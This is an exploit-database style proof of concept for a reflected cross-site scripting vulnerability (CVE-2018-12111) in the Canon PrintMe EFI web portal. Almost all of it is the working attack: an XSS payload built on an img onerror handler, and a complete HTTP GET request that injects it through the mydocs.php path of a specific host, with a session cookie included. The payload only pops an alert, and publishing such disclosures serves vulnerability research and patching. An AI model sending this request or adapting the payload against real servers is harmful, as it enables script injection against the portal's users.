Canon PrintMe EFI Cross Site Scripting

# Title: Canon PrintMe EFI - Cross-Site Scripting 
# Date: 9.6.2018-06-09
# Exploit Author: Huy Kha
# Vendor Homepage: [https://www.efi.com/]
# Version: Canon PrintMe EFI
# Tested on: Mozilla FireFox
# CVE: CVE-2018-12111
# XSS Payload used: '"--!><img src=x onerror=alert("XSS")>

# PoC

GET /wt3/mydocs.php/'%22--!%3E%3Cimg%20src=x%20onerror=alert(%22XSS%22)%3E HTTP/1.1
Host: 129.25.8.177
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=a11b2588fe327f6bd1acf79f286c2dcd
Connection: close
Upgrade-Insecure-Requests: 1